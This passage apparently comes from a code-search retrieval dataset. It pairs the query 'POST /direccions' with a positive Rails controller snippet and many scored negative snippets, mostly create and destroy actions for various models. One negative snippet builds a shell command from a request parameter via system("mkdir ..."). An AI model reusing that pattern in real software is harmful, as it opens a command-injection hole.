respond_to do |format|\n format.html { redirect_to articulos_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "6f94efef10a1064c4624d6ed5dda787e", "score": "0.6626175", "text": "def destroy\n @articulo = Articulo.find(params[:id])\n @articulo.destroy\n\n respond_to do |format|\n format.html { redirect_to articulos_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "afbd0604134068d8876369258d0574e8", "score": "0.6622549", "text": "def destroy\r\n @imobiliaria = Imobiliaria.find(params[:id])\r\n @imobiliaria.destroy\r\n\r\n respond_to do |format|\r\n format.json { head :no_content }\r\n end\r\n end", "title": "" }, { "docid": "4bf4dbb1d9d9ea3ce10d09ccb64da3be", "score": "0.66210485", "text": "def destroy\n @cargo_eleicao = CargoEleicao.find(params[:id])\n @cargo_eleicao.destroy\n\n respond_to do |format|\n format.html { redirect_to cargo_eleicaos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "4d6d8ee4bba4d0e611092a7f1e569147", "score": "0.6620766", "text": "def destroy\n @conta.destroy\n params[:id] = nil\n respond_to do |format|\n format.html { redirect_to contas_path, notice: @@titulo + t('msg.remove') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9cc225ccfdb93dcfd144b72dd30e3256", "score": "0.6620087", "text": "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n respond_to do |format|\n format.html { redirect_to respuestas_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "53ce18d2cd06a7365c381e753efb11ba", "score": "0.66176057", "text": "def destroy\n @unidad.destroy\n respond_to do |format|\n format.html { redirect_to unidades_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e09a20617f2e2693d2aa3769af4b75b5", "score": "0.6617483", "text": "def http_delete(path, data = nil, content_type = 'application/json')\n http_methods(path, :delete, data, content_type)\n end", "title": "" }, { "docid": "23c26edb651719756124582073780ca1", "score": "0.661719", "text": "def destroy\n @rock_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "title": "" }, { "docid": "00be74ac5c18a672e4a000093dc7f422", "score": "0.6616317", "text": "def destroy\n @photo = Photo.find(params[:id])\n File.delete(Rails.root.join(\"app\",'assets','images',@photo.path))\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "87ace372ce06d788d52ad2d4af7d625e", "score": "0.6613423", "text": "def destroy\n @respuesta = Respuesta.find(params[:id])\n @respuesta.destroy\n\n head :no_content\n end", "title": "" } ]
35f8db003c4213438b846fdac11128bb
POST /direccions POST /direccions.json
[ { "docid": "43db5233e827676737fe4d802fa84b4a", "score": "0.53491336", "text": "def create\n @clientes = Cliente.all\n @sucursales = Sucursal.where(\"cliente_id = ?\", params[:direccion][:cliente_id]).order(:nombre)\n\n #@direccion = Direccion.new(direccion_params)\n @direccion.sucursal_id =params[:direccion][:sucursal_id]\n @direccion.cliente_id =params[:direccion][:cliente_id]\n respond_to do |format|\n if @direccion.save\n format.html { redirect_to @direccion, notice: 'Direccion was successfully created.' }\n format.json { render action: 'show', status: :created, location: @direccion }\n else\n format.html { render action: 'new', :layout => \"layout_2\" }\n format.json { render json: @direccion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
[ { "docid": "2a71a96c412440bbc66d7e9ee1399c8b", "score": "0.71964765", "text": "def create\n @diretorio = Diretorio.new(diretorio_params)\n if @diretorio.save\n render json: @diretorio\n else\n render json: @diretorio.errors, status: :unprocessable_entity\n end\n end", "title": "" }, { "docid": "270b0424532c17d5e5970fd7a32a11ee", "score": "0.6897179", "text": "def create\n @diretor = Diretor.new(params[:diretor])\n\n respond_to do |format|\n if @diretor.save\n format.html { redirect_to @diretor, notice: 'Diretor was successfully created.' }\n format.json { render json: @diretor, status: :created, location: @diretor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diretor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "2f6c22c7c85ad69a361c487fefdf59ef", "score": "0.6837097", "text": "def create\n @diretor = Diretor.new(diretor_params)\n\n respond_to do |format|\n if @diretor.save\n format.html { redirect_to @diretor, notice: 'Um novo diretor foi criado com sucesso.' }\n format.json { render json: @diretor, status: :created, location: @diretor }\n else\n format.html { render action: \"new\" }\n format.json { render json: @diretor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "980e482d81238088b757487b3908c191", "score": "0.671718", "text": "def create\n\t\t@direccion = Direccion.new(params[:direccion])\n\n\t\trespond_to do |format|\n\t\t\[email protected]_id=session[:id]\n\t\t\tif @direccion.save\n\t\t\t NUESTRO_LOG.info \"Se guardo la direccion correctamente\"\n\t\t\t\tformat.html { redirect_to(@direccion, :notice => t('direccioncreada')) }\n\t\t\t\tformat.xml { render :xml => @direccion, :status => :created, :location => @direccion }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"new\" }\n\t\t\t\tformat.xml { render :xml => @direccion.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "ff12be4b35aa46c0e1139f2d2588ec63", "score": "0.66389686", "text": "def create\n\n respond_to do |format|\n if @direccion.save\n format.html { redirect_to @direccion, notice: 'Direccion creada exitosamente.' }\n format.json { render :show, status: :created, location: @direccion }\n else\n format.html { render :new }\n format.json { render json: @direccion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5c59423470262fe98adee25cde455b9e", "score": "0.6466331", "text": "def create\n params[:direccion][:usuario_id] = current_usuario.id\n\n format_direccion_params\n\n @direccion = Direccion.new(params[:direccion])\n\n if @direccion.save\n render 'direcciones/show'\n else\n render json: camelcase_keys_from_a_hash(@direccion.errors.messages), status: :bad_request\n end\n end", "title": "" }, { "docid": "1166c3500d047f60208928f7a1ec4fe8", "score": "0.6430942", "text": "def create\n @crew_diretory = Crew::Diretory.new(crew_diretory_params)\n\n respond_to do |format|\n if @crew_diretory.save\n format.html { redirect_to @crew_diretory, notice: 'Diretory was successfully created.' }\n format.json { render :show, status: :created, location: @crew_diretory }\n else\n format.html { render :new }\n format.json { render json: @crew_diretory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cac485ca7b5f1e5bbcf80713c423d52a", "score": "0.62581396", "text": "def update\n if @diretorio.update(diretorio_params)\n render json: @diretorio\n else\n render json: @diretorio.errors, status: :unprocessable_entity \n end\n end", "title": "" }, { "docid": "69456168db1eeffe0d9602cd1db7af4a", "score": "0.62435544", "text": "def create\n @direccionusuario = Direccionusuario.new(params[:direccionusuario])\n\n respond_to do |format|\n if @direccionusuario.save\n format.html { redirect_to @direccionusuario, notice: 'Direccionusuario was successfully created.' }\n format.json { render json: @direccionusuario, status: :created, location: @direccionusuario }\n else\n format.html { render action: \"new\" }\n format.json { render json: @direccionusuario.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "878830dbc8f6247605864b59da840b0a", "score": "0.622498", "text": "def create\n @direc = Direc.new(direc_params)\n\t@user = User.new(user_params)\n\n respond_to do |format|\n if @user.save\n\t\[email protected]_id = @user.id;\n\t\tif @direc.save\n\t\t\tformat.html { redirect_to @direc, notice: 'Direc was successfully created.' }\n\t\t\tformat.json { render :show, status: :created, location: @direc }\n\t\tend\n else\n format.html { render :new }\n format.json { render json: @direc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "12ed06e318f1cad60cffe65d52d2e96c", "score": "0.6051727", "text": "def create\n @direcciones_entrega = current_user.direcciones_entregas.build(direcciones_entrega_params)\n\n respond_to do |format|\n if @direcciones_entrega.save\n format.html { redirect_to @direcciones_entrega, notice: 'Direcciones entrega was successfully created.' }\n format.json { render :show, status: :created, location: @direcciones_entrega }\n else\n format.html { render :new }\n format.json { render json: @direcciones_entrega.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "902dfbd73948722c161a4a084f0e44d2", "score": "0.60122895", "text": "def dir_location_post(request)\n dir = JSON.parse(request.body).gsub('\\\\', '/')\n return 404, { error: 'Directory not found!' } unless Dir.exist?(dir)\n return 403, { error: 'Directory is not readable!' } unless File.readable?(dir)\n return 403, { error: 'Directory is not writable!' } unless File.writable?(dir)\n unless File.exist?(File.join(dir, 'Game.rxproj'))\n return 404, { error: 'Game.rxproj not found in desired directory!' }\n end\n\n Dir.chdir(dir)\n return 200, true\n end", "title": "" }, { "docid": "dabe43840f7a9b65b7ba336a8c2932cd", "score": "0.5951474", "text": "def diretorio_params\n params.require(:diretorio).permit(:nome, :pessoa_id, :diretorio_id)\n end", "title": "" }, { "docid": "079fd095b6f9542bc8e371b5969089c0", "score": "0.5930448", "text": "def create_files\n path = params[:path]\n \n if (path != \"\")\n data = JSON.parse(params[:post])\n data.each do |el|\n Dagr.add_dagr(current_user,el[\"name\"], path,el[\"size\"], el[\"name\"].split(\".\")[0], nil)\n end\n flash[:danger] = \"Dagrs added\"\n else\n flash[:danger] = \"path must be filled out\"\n end\n render 'new'\n end", "title": "" }, { "docid": "06d63797b9ccf62edb4b2be1c623ca73", "score": "0.5828505", "text": "def new\n @diretor = Diretor.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @diretor }\n end\n end", "title": "" }, { "docid": "2648feb31137b5f40ecdf9238f86ebb1", "score": "0.5793316", "text": "def destroy\n @diretorio.destroy\n render json: @diretorio\n end", "title": "" }, { "docid": "6570b98181ac3185967c5620b765c60f", "score": "0.5781964", "text": "def new_folder\n # sanizie param\n realpath, relpath = get_valid_dir(params[:parent]+params['dirname'])\n \n if realpath\n FileUtils::mkdir realpath unless File.exists?(realpath)\n end\n \n render :json => {:result => \"ok\"}\n end", "title": "" }, { "docid": "0243961373ae2d816de905d64b6f5d62", "score": "0.57527786", "text": "def crear_directorios\n # Crear el directorio respaldos\n unless File.exists?(\"#{Rails.root.to_path}/respaldos/\")\n Dir.mkdir \"#{Rails.root.to_path}/respaldos/\"\n end\n\n # Crear el subdirecorio de respaldos con la fecha actual año-mes-dia\n unless File.exists?(DIRECTORIO_RESPALDO)\n Dir.mkdir DIRECTORIO_RESPALDO\n end\n\n # Crear los subdirectorios con las sucursales\n sucursales = Sucursal.all.collect { |sucursal| sucursal.nombre.underscore.gsub(/\\s/, '_') }\n sucursales.each do |sucursal|\n Dir.mkdir \"#{DIRECTORIO_RESPALDO}/#{sucursal}\" unless File.exists?(\"#{DIRECTORIO_RESPALDO}/#{sucursal}\")\n end\n end", "title": "" }, { "docid": "bc8f9be92cecb7f2b7edff24c0562f1e", "score": "0.5752326", "text": "def set_direc\n @direc = Direc.find(params[:id])\n end", "title": "" }, { "docid": "23dc6e18c0072f6c0adaacd279b0358f", "score": "0.5730596", "text": "def crew_diretory_params\n params.require(:crew_diretory).permit(:name, :photo, :description, :office_id)\n end", "title": "" }, { "docid": "f0f864e8698c92b5b084e72c1815a999", "score": "0.5725165", "text": "def new\n @direccion = Direccion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @direccion }\n end\n end", "title": "" }, { "docid": "1db340b998d198038a0ce847adf9bdad", "score": "0.5724544", "text": "def create\n @direccion_negocio = DireccionNegocio.new(params[:direccion_negocio])\n\n respond_to do |format|\n if @direccion_negocio.save\n format.html { redirect_to @direccion_negocio, notice: 'Direccion negocio was successfully created.' }\n format.json { render json: @direccion_negocio, status: :created, location: @direccion_negocio }\n else\n format.html { render action: \"new\" }\n format.json { render json: @direccion_negocio.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d5b6080ec9c4600fcf9a0775877ea0b7", "score": "0.5679645", "text": "def direc_params\n params.require(:direc).permit(:nome, :dataNasc, :nBI, :morada, :cp, :localidade, :email, :user_id)\n end", "title": "" }, { "docid": "33f8e1feebd4c7747817a8d3b8e3c15a", "score": "0.5669073", "text": "def post_create_dir(path,repo)\n curl_post(\"#{self.host}/api2/repos/#{repo}/dir/?p=#{path}\",{\"operation\"=>\"mkdir\"}).body_str\n end", "title": "" }, { "docid": "4985cf0fbf7afc15bf824efe40c3e741", "score": "0.56367195", "text": "def on_mkdir(response); end", "title": "" }, { "docid": "e24f98b60f6db483ccb0d4684bbe54dc", "score": "0.56345063", "text": "def direccion_params\n params.require(:direccion).permit(:barrio, :direccion, :tel, :numero_id, :municipio_id)\n end", "title": "" }, { "docid": "dcfb42600a08a63348d09484d2ad3edb", "score": "0.56114554", "text": "def set_diretorio\n @diretorio = Diretorio.find(params[:id])\n end", "title": "" }, { "docid": "355abd01815a1980a29371e159fdb7dc", "score": "0.5564022", "text": "def carpeta_geodatos\n carpeta = Rails.root.join('public', 'geodatos', params[:taxon].id.to_s)\n FileUtils.mkpath(carpeta, :mode => 0755) unless File.exists?(carpeta)\n carpeta\n end", "title": "" }, { "docid": "dbe6cd6134e66f8caaacc2842f1a1ed5", "score": "0.55431587", "text": "def diretor_params\n params.require(:diretor).permit(:nome)\n end", "title": "" }, { "docid": "d051859f67f07e722a2f940d544b6b4a", "score": "0.5539683", "text": "def create\n @directory = Directory.new(params[:directory])\n\n respond_to do |format|\n if @directory.save\n format.html { redirect_to @directory, notice: 'Directory was successfully created.' }\n format.json { render json: @directory, status: :created, location: @directory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @directory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d7c1cd3eccb5fd64e5e304e67faedfd4", "score": "0.5525207", "text": "def direccion_params\n params.require(:direccion).permit(:sucursal_id, :calle, :numero, :colonia, :delegacion, :cp, :telefono, :referencia, :mapsgoogle, :matriz, :photo, :cliente_id)\n end", "title": "" }, { "docid": "4828f0f073d42312732bf1b12dd9b1a2", "score": "0.5523079", "text": "def set_diretor\n @diretor = Diretor.find(params[:id])\n end", "title": "" }, { "docid": "55ce58dd5cf6119def70936623d59bf5", "score": "0.5510595", "text": "def dir_assign!\n res = Seaweed::HTTP.post \"#{@base_url}/dir/assign\", {}\n Seaweed::HTTP.parse res\n end", "title": "" }, { "docid": "d277bdcf2459e3de58286de0e527c253", "score": "0.5485038", "text": "def set_direccion\n @direccion = Direccion.find(params[:id])\n end", "title": "" }, { "docid": "3d5f6525f6ad9425019bd177c05c149e", "score": "0.54827046", "text": "def create\n @mydirectory = Mydirectory.new(mydirectory_params)\n\n respond_to do |format|\n if @mydirectory.save\n format.html { redirect_to @mydirectory, notice: 'Mydirectory was successfully created.' }\n format.json { render :show, status: :created, location: @mydirectory }\n else\n format.html { render :new }\n format.json { render json: @mydirectory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3bb1569789db02d8171db0d297e4bd64", "score": "0.546275", "text": "def show\n render json: @diretorio\n end", "title": "" }, { "docid": "e6013fc9cd220569cf3cad97615f1e7d", "score": "0.54577255", "text": "def directories\n @project = Project.find(params[:project_id])\n @directories = get_dir_info(\"/\", params[:project_id], @project)\n\n respond_to do |format|\n format.js\n end\n end", "title": "" }, { "docid": "48123a0b05b4b54135b0bf394145d055", "score": "0.54184365", "text": "def create\n @direcciones_factura = current_user.direcciones_facturas.build(direcciones_factura_params)\n\n respond_to do |format|\n if @direcciones_factura.save\n format.html { redirect_to @direcciones_factura, notice: 'Direcciones factura was successfully created.' }\n format.json { render :show, status: :created, location: @direcciones_factura }\n else\n format.html { render :new }\n format.json { render json: @direcciones_factura.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "9255fbab2edf5b3de78c44df47b1f284", "score": "0.54139525", "text": "def create\n\n\n @directory = current_user.directories.new(params[:directory])\n if @directory.save\n\n flash[:notice] = \"Successfully created folder.\"\n\n if @directory.parent #checking if we have a parent folder on this one\n redirect_to browse_path(@directory.parent) #then we redirect to the parent folder\n else\n redirect_to data_home_path #if not, redirect back to home page\n end\n else\n render :action => 'new'\n end\n\n\n end", "title": "" }, { "docid": "f6e23b0e5780adb8200745a05667152d", "score": "0.54106003", "text": "def new\n\n\n @directory = current_user.directories.new\n #if there is \"folder_id\" param, we know that we are under a folder, thus, we will essentially create a subfolder\n if params[:directory_id] #if we want to create a folder inside another folder\n\n #we still need to set the @current_folder to make the buttons working fine\n @current_directory = current_user.directories.find(params[:directory_id])\n\n #then we make sure the folder we are creating has a parent folder which is the @current_folder\n @directory.parent_id = @current_directory.id\n end\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @directory }\n end\n end", "title": "" }, { "docid": "b2eaed5c9423a46f48be0445a4cc41a4", "score": "0.5409983", "text": "def destroy\n @diretor.destroy\n\n respond_to do |format|\n format.html { redirect_to diretores_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "47958d9bf54ee5d3527a993c1cfb6880", "score": "0.54094523", "text": "def create\n @folder = Folder.new(params[:folder])\n @folder.user = current_user\n @folder.path = params[:path];\n\n respond_to do |format|\n if @folder.save\n format.html { redirect_to @folder, :notice => 'Le dossier a bien été mis à jour.' }\n format.json { render :json => @folder, :status => :created, :location => @folder }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @folder.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "bff3ca0b66a5509021f2161d48eceafd", "score": "0.5382174", "text": "def destroy\n @direccion.destroy\n respond_to do |format|\n format.html { redirect_to direccions_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "e8ef6f18088bfb44c9951e03b943afbb", "score": "0.53424114", "text": "def folder_create(name)\n post_data = {:name => name}\n nessus_rest_post(\"folders\", post_data)\n end", "title": "" }, { "docid": "54ec758a026c3495bbbe627ecb3a220d", "score": "0.5336564", "text": "def create\n @parent = find_directory params[:path]\n @directory = Directory.new params[:directory]\n @directory.parent = @parent\n \n if @directory.save\n redirect_to @directory.path\n else\n render :new\n end # if-else\n end", "title": "" }, { "docid": "e113c6704eeeb0d89c28837441400fb3", "score": "0.5336551", "text": "def new\n @direccionusuario = Direccionusuario.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @direccionusuario }\n end\n end", "title": "" }, { "docid": "f7fa7272a36a37cd8cbfdf061e03dc09", "score": "0.53355855", "text": "def directory_params\n params.require(:directory).permit(:name, :path, :parent_id)\n end", "title": "" }, { "docid": "54aed326bcc2ecf8da830e10ee20f437", "score": "0.53344846", "text": "def create\n @directory = Directory.new(directory_params)\n\n respond_to do |format|\n if @directory.save\n format.html { redirect_to @directory, notice: 'Directory was successfully created.' }\n format.json { render :show, status: :created, location: @directory }\n else\n format.html { render :new }\n format.json { render json: @directory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ab90fd5f244c31c1739af666c2b00957", "score": "0.5323203", "text": "def update\n respond_to do |format|\n if @direc.update(direc_params)\n format.html { redirect_to @direc, notice: 'Direc was successfully updated.' }\n format.json { render :show, status: :ok, location: @direc }\n else\n format.html { render :edit }\n format.json { render json: @direc.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d2777c2089794e7eaae013cdeae2322b", "score": "0.5319844", "text": "def create_folder\n parent_folder = Folder.find(params[:parent_folder_id])\n folder_params = {\n name: params[:name]\n }\n folder = parent_folder.folders.create!(folder_params)\n render json: folder_to_json(folder)\n end", "title": "" }, { "docid": "dfc5337ef86296f3065d456139f159e6", "score": "0.5295284", "text": "def _dirjson (x)\n x = Pathname.new(x)\n x.entries.find_all {|f| f.to_s =~ /\\.json$/i}.\n map {|f| x + f}\n end", "title": "" }, { "docid": "f6bfaf6f38cad5f8ee0b509e01e009ed", "score": "0.52858865", "text": "def create\n unless session[:user].nil?\n @error = \"\"\n level = 0\n # TODO take level from form\n params[:folder][:parent] = params[:parent_folder]\n full_path = params[:full_path]\n params[:folder][:user_id] = session[:user].id\n params[:folder][:level] = level\n @folder = Folder.new(params[:folder])\n \n #huinya parent_path = Folder.find_by_user_id_and_id(params[:parent_folder],session[:user].id)\n unless params[:parent_folder].nil?\n folder_path = Rails.root.join(\"public\",\"files\",session[:user].id.to_s(),full_path,params[:folder][:name])\n begin\n Dir::mkdir(folder_path)\n @folder.save\n rescue\n @error = \"The directory already exists\"\n end\n else\n @error = \"Operation not permitted\"\n end\n \n respond_to do |format|\n format.js \n format.json{render json: @error}\n end\n else\n redirect_to \"/403.html\"\n end\n end", "title": "" }, { "docid": "7c45563988c0739c57c95e0e529d3019", "score": "0.5280585", "text": "def set_crew_diretory\n @crew_diretory = Crew::Diretory.find(params[:id])\n end", "title": "" }, { "docid": "b586309fc8ef6f23a73e89f02bdd2b8f", "score": "0.5275432", "text": "def set_direcciones_entrega\n @direcciones_entrega = DireccionesEntrega.find(params[:id])\n end", "title": "" }, { "docid": "5949f67d603fd237010ee34c9ce5e396", "score": "0.526909", "text": "def create\n @directory = Directory.new(directory_params)\n \n respond_to do |format|\n if @directory.save\n format.html { redirect_to @directory, notice: \"Directory was successfully created.\" }\n format.json { render :show, status: :created, location: @directory }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @directory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cebc16b77ee347a77843741278e88423", "score": "0.52524614", "text": "def create\n parent_id = params[:folder][:parent_id]\n parent = Folder.find(parent_id)\n filespace = parent.filespace\n folder = nil\n begin\n ActiveRecord::Base.transaction do\n folder = Folder.new(name: \"New Node\")\n logger.info \"Filespace id is #{filespace.id}\"\n folder.filespace_id = filespace.id\n parent.children << folder\n \n # filespace.save! # also saves the new folder\n parent.leaf = false\n parent.save!\n end\n rescue Exception => e\n logger.info e.message\n logger.info e.backtrace.join(\"\\n\")\n render json: nil, status: :unprocessable_entity\n else\n logger.info folder.to_json\n render json: folder.to_json\n end\n end", "title": "" }, { "docid": "bf88f4a2acb97a7f5413343b27bc97a7", "score": "0.5239959", "text": "def mkdir(path, options={})\n check_options(options, OPT_TABLE['MKDIRS'])\n res = operate_requests('PUT', path, 'MKDIRS', options)\n check_success_json(res, 'boolean')\n end", "title": "" }, { "docid": "125d822c2f2bcc9b106ff55d6e58074e", "score": "0.5234929", "text": "def destroy\n @diretor = Diretor.find(params[:id])\n @diretor.destroy\n\n respond_to do |format|\n format.html { redirect_to diretors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "b98cd35ca621bd70cc4efe8779655fa9", "score": "0.5221751", "text": "def add_folder(dir, params = {})\n params.keep_only([:selective, :secret])\n params[:selective_sync] = params[:selective] ? 1 : 0\n params.delete(:selective)\n params[:dir] = dir\n data = send_request 'add_folder', params\n\n return successful?\n end", "title": "" }, { "docid": "92f1d27c2f922e4cc818e90e55fbc3e3", "score": "0.52097464", "text": "def create\n n_patient_params = patient_params\n system(\"mkdir /data/oci/#{n_patient_params[:_id]}\")\n n_patient_params[:dirpath] = \"/data/oci/#{n_patient_params[:_id]}\"\n system(\"mkdir #{n_patient_params[:dirpath]}/archive\")\n @patient = Patient.new(n_patient_params)\n\n respond_to do |format|\n if @patient.save\n format.html { redirect_to @patient, notice: 'Patient was successfully created.' }\n format.json { render :show, status: :created, location: @patient }\n else\n format.html { render :new }\n format.json { render json: @patient.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e57144a63e11c2d86f8bcb7333e8be89", "score": "0.51868033", "text": "def create\n @denuncia = Denuncias.new(denuncia_params)\n\n respond_to do |format|\n if @denuncia.save\n format.html { redirect_to @denuncia, notice: 'Denuncias was successfully created.' }\n format.json { render :show, status: :created, location: @denuncia }\n else\n format.html { render :new }\n format.json { render json: @denuncia.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e0e45113833db084f0ba5c2ceba4f851", "score": "0.5183685", "text": "def jurisdiction_paths\n render json: { jurisdiction_paths: current_user.jurisdiction.subtree.pluck(:id, :path).to_h }\n end", "title": "" }, { "docid": "afc67cb8777947415cf447090d306d0b", "score": "0.5178892", "text": "def new\n @diretor = Diretor.new\n end", "title": "" }, { "docid": "d1bea9fe5c0e815fff26c3b5294818f9", "score": "0.5172951", "text": "def dnd\n\t@node = current_user.nodes.new\n\[email protected] = params[:file]\n\[email protected]\n\trespond_to do |format|\n\t format.html { render text: 'OK'}\n\t format.json { render json: @node.to_json }\n\tend\n end", "title": "" }, { "docid": "d927712fc868be7cc7b08fe347013151", "score": "0.5165118", "text": "def folder_create(path)\n make_request(:create,\"#{folders_url(path)}.xml\")\n end", "title": "" }, { "docid": "a216fcfc071b9ef6dfd0aec60ab20049", "score": "0.51625353", "text": "def create\n @corporate_directory = CorporateDirectory.new(params[:corporate_directory])\n\n respond_to do |format|\n if @corporate_directory.save\n format.html { redirect_to @corporate_directory, notice: 'Corporate directory was successfully created.' }\n format.json { render json: @corporate_directory, status: :created, location: @corporate_directory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @corporate_directory.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "cf92efd04117c10b7e5374eefc79f04e", "score": "0.51608324", "text": "def destroy\n @direc.destroy\n respond_to do |format|\n format.html { redirect_to direcs_url, notice: 'Direc was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "c9e38d882cb2fec714b975ded839e2cb", "score": "0.5152397", "text": "def create_folder path, options={}\n response = post(\"/#{path}\", options)\n end", "title": "" }, { "docid": "f6a4219de901eda813740d83d4f8a805", "score": "0.5149994", "text": "def create_dir(dir, user = 'root', group = 'root')\n subdirs = subdirs_to_create(dir, user)\n subdirs.each do |dir|\n directory dir do\n action :create\n recursive true\n owner user\n group group\n end\n end\nend", "title": "" }, { "docid": "3b66061212c9bf5164f79672cba034d8", "score": "0.5147754", "text": "def update\n\t\t@direccion = Direccion.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tif @direccion.update_attributes(params[:direccion])\n\t\t\t\tformat.html { redirect_to(@direccion, :notice => t('direccionactualizada')) }\n\t\t\t\tNUESTRO_LOG.info \"Se borro ua direccion!\"\n\t\t\t\tformat.xml { head :ok }\n\t\t\telse\n\t\t\t\tformat.html { render :action => \"edit\" }\n\t\t\t\tformat.xml { render :xml => @direccion.errors, :status => :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "title": "" }, { "docid": "8c4f1a450e9df7fda3d3a8d21b76598a", "score": "0.51425743", "text": "def create_directory(directory)\n directory_array = directory.split('/')\n directory_array.shift\n directory_array.each_index do |i|\n req = Net::HTTP::Mkcol.new('/bingo/' + directory_array[0..i].join('/'))\n req.digest_auth(@username, @password, @res)\n @last_response = @http.request(req)\n end\n end", "title": "" }, { "docid": "e0eb0eacb8ce344af82d72d1bc3474d1", "score": "0.5137173", "text": "def direcciones_entrega_params\n params.require(:direcciones_entrega).permit(:estado, :municipio, :colonia, :numero, :cp, :telefono, :notas, :user_id)\n end", "title": "" }, { "docid": "704e779f4956065ad0165f1462c14c6b", "score": "0.51288545", "text": "def update\n respond_to do |format|\n if @direccion.update(direccion_params)\n format.html { redirect_to @direccion, notice: 'Direccion actualizada exitosamente.' }\n format.json { render :show, status: :ok, location: @direccion }\n else\n format.html { render :edit }\n format.json { render json: @direccion.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "956ea3e6309d7d71dbb72ab8a7828e91", "score": "0.5116643", "text": "def duenio_params\n params.require(:duenio).permit(:nombre, :direccion, :image)\n end", "title": "" }, { "docid": "0375a95c1c9e0721d15c50e901a6958b", "score": "0.5112266", "text": "def jurisdiction_paths\n render json: { jurisdiction_paths: Hash[current_user.jurisdiction.subtree.pluck(:id, :path).map { |id, path| [id, path] }] }\n end", "title": "" }, { "docid": "0d1f8e9052d692d06c13f94915a9619f", "score": "0.51044637", "text": "def index\n @diretorios = Diretorio.where(pessoa_id: params[:usuario]).first\n render json: @diretorios\n end", "title": "" }, { "docid": "72fb88f2c1ba918fdb2e6737be54ed78", "score": "0.51015604", "text": "def directory_params\n params.require(:directory).permit(:path)\n end", "title": "" }, { "docid": "04dc46102fbe45595daa930ed2ec1ae6", "score": "0.5100405", "text": "def create_folder(folder_name,parent_folder_id)\n self.class.post(\"#{url}/api/filesystem/folders/#{ERB::Util.url_encode(parent_folder_id)}\", basic_auth: @auth, body: {:name => folder_name}.to_json, headers: {'Content-Type' => 'application/json'})\n end", "title": "" }, { "docid": "4d491b6ce23f919235bc1830a2dadde9", "score": "0.5097026", "text": "def create(mountpoint)\n args = local_variables.reduce({}) { |c, i| c[i] = binding.local_variable_get(i); c }\n response = request(:post, \"folders\", args)\n h = doc_to_hash(response, \"//data\").try(:[], \"data\")\n add_meta(response, h)\n end", "title": "" }, { "docid": "0fac0202e92a9ae288b90864be776fee", "score": "0.5096879", "text": "def update\n @direccion = Direccion.find(params[:id])\n\n format_direccion_params\n\n if @direccion.update_attributes(params[:direccion])\n render 'direcciones/show'\n else\n render json: camelcase_keys_from_a_hash(@direccion.errors.messages), status: :bad_request\n end\n end", "title": "" }, { "docid": "3c2badf0113f1652e67d91fd4dba5822", "score": "0.50952065", "text": "def destroy\n\t\t@direccion = Direccion.find(params[:id])\n\t\[email protected]\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to(direccions_url) }\n\t\t\tformat.xml { head :ok }\n\t\tend\n\tend", "title": "" }, { "docid": "22f05454d266f710ab713b7922191cbc", "score": "0.5086139", "text": "def personalia\n render nothing: true\n directory_name = \"public/cv\"\n\t Dir.mkdir(directory_name) unless File.exists?(directory_name)\n\n \t\tDir.chdir(\"public/cv\") do\n\t \t\tputs Dir.pwd\n\t \t\tjson1 = params.to_json\n\t \t\tjson = \"[\" + json1 + \"]\"\n\t \t\tFile.write('personalia.json', json)\n\t \t\tFile.write('personalia_read.json', json1)\n \t\tend\n \tend", "title": "" }, { "docid": "6b9a5e79d4e68bc7b24dc07c2a0efeb9", "score": "0.5081038", "text": "def update\n respond_to do |format|\n if 